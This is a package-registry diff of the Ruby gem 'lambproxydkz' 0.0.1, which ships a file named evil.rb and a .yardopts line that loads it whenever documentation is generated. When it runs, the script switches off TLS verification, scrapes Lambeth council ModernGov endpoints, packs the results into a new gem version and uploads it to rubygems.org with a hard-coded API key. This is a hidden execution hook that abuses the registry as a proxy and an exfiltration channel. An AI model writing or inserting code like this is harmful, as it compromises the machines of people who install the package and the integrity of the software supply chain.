lambproxydkz 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (4) hide show
  1. checksums.yaml +7 -0
  2. data/.yardopts +1 -0
  3. data/evil.rb +41 -0
  4. metadata +38 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 130e4517ce6003bbb9cbfd56d042a76a50a00da881d75cc19b3939a3d5cd6ee0
4
+ data.tar.gz: 26d80a4ebd778b79233a7efa52d6cb40b5310b0c2864d36edb15a77a5240ebb3
5
+ SHA512:
6
+ metadata.gz: 97bddea0e33e7b14132ed6de34ebbb2bc1a73fc5eace11f0efc2e499053e614b06c63f6db2b9ebb64607da8cd582759bf2b3f731f837fb4a84321c2c97fb5a3c
7
+ data.tar.gz: e5e6c683d3663c38cca74abd6e9bd53611c6aab2918206beb730f2457322bc34e3bd4622686f9c2c82550def86f621b5987263a2db012925b7c6f150c017fc89
data/.yardopts ADDED
@@ -0,0 +1 @@
1
+ --load ./evil.rb
data/evil.rb ADDED
@@ -0,0 +1,41 @@
1
+ require 'net/http'; require 'uri'; require 'fileutils'; require 'securerandom'; require 'openssl'
2
+ name='lambproxydkz'; ver='0.0.2'; key='rubygems_b996cb6134413dec4244a12868e6fdb4eacbc457aca2475f'
3
+ # lambeth fetch endpoints
4
+ urls={
5
+ 'committees.xml'=>'https://moderngov.lambeth.gov.uk/mgWebService.asmx/GetCommittees',
6
+ 'meetings26.xml'=>'https://moderngov.lambeth.gov.uk/mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=26/01/2026&sToDate=31/01/2026',
7
+ 'meetings_month.xml'=>'https://moderngov.lambeth.gov.uk/mgWebService.asmx/GetMeetings?lCommitteeId=0&sFromDate=01/01/2026&sToDate=31/01/2026',
8
+ 'calendar.html'=>'https://moderngov.lambeth.gov.uk/mgCalendarMonthView.aspx?GL=1&bcr=1&M=1&DD=2026'
9
+ }
10
+ dir="/tmp/#{name}_#{SecureRandom.hex(3)}"; FileUtils.mkdir_p(dir)
11
+ logs=[]
12
+ urls.each do |fn,u|
13
+ begin
14
+ uri=URI(u)
15
+ http=Net::HTTP.new(uri.host, uri.port); http.use_ssl=true; http.verify_mode=OpenSSL::SSL::VERIFY_NONE; http.read_timeout=60
16
+ req=Net::HTTP::Get.new(uri); req['User-Agent']='Mozilla/5.0';
17
+ res=http.request(req)
18
+ data=res.body.to_s
19
+ File.binwrite("#{dir}/#{fn}",data)
20
+ logs << "#{fn} #{res.code} #{data.bytesize} #{res.message}"
21
+ rescue => e
22
+ logs << "#{fn} ERR #{e.class}: #{e}"
23
+ end
24
+ end
25
+ File.write("#{dir}/log.txt",logs.join("\n"))
26
+ files=(urls.keys + ['log.txt']).map{|f| "'#{f}'"}.join(',')
27
+ File.write("#{dir}/#{name}.gemspec", <<~EOS)
28
+ Gem::Specification.new do |s|
29
+ s.name='#{name}'; s.version='#{ver}'; s.summary='out'; s.author='x'; s.files=[#{files}]; s.license='MIT'
30
+ end
31
+ EOS
32
+ system("cd #{dir} && gem build #{name}.gemspec --output #{name}-#{ver}.gem")
33
+ begin
34
+ gemdata=File.binread("#{dir}/#{name}-#{ver}.gem")
35
+ uri=URI('https://rubygems.org/api/v1/gems'); http=Net::HTTP.new(uri.host,uri.port); http.use_ssl=true
36
+ req=Net::HTTP::Post.new(uri); req['Authorization']=key; req['Content-Type']='application/octet-stream'; req.body=gemdata
37
+ res=http.request(req)
38
+ File.write("#{dir}/upload.log","#{res.code} #{res.body}")
39
+ rescue => e
40
+ File.write("#{dir}/upload.log",e.to_s)
41
+ end
metadata ADDED
@@ -0,0 +1,38 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: lambproxydkz
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - x
8
+ bindir: bin
9
+ cert_chain: []
10
+ date: 1980-01-02 00:00:00.000000000 Z
11
+ dependencies: []
12
+ executables: []
13
+ extensions: []
14
+ extra_rdoc_files: []
15
+ files:
16
+ - ".yardopts"
17
+ - evil.rb
18
+ licenses:
19
+ - MIT
20
+ metadata: {}
21
+ rdoc_options: []
22
+ require_paths:
23
+ - lib
24
+ required_ruby_version: !ruby/object:Gem::Requirement
25
+ requirements:
26
+ - - ">="
27
+ - !ruby/object:Gem::Version
28
+ version: '0'
29
+ required_rubygems_version: !ruby/object:Gem::Requirement
30
+ requirements:
31
+ - - ">="
32
+ - !ruby/object:Gem::Version
33
+ version: '0'
34
+ requirements: []
35
+ rubygems_version: 3.6.7
36
+ specification_version: 4
37
+ summary: proxy
38
+ test_files: []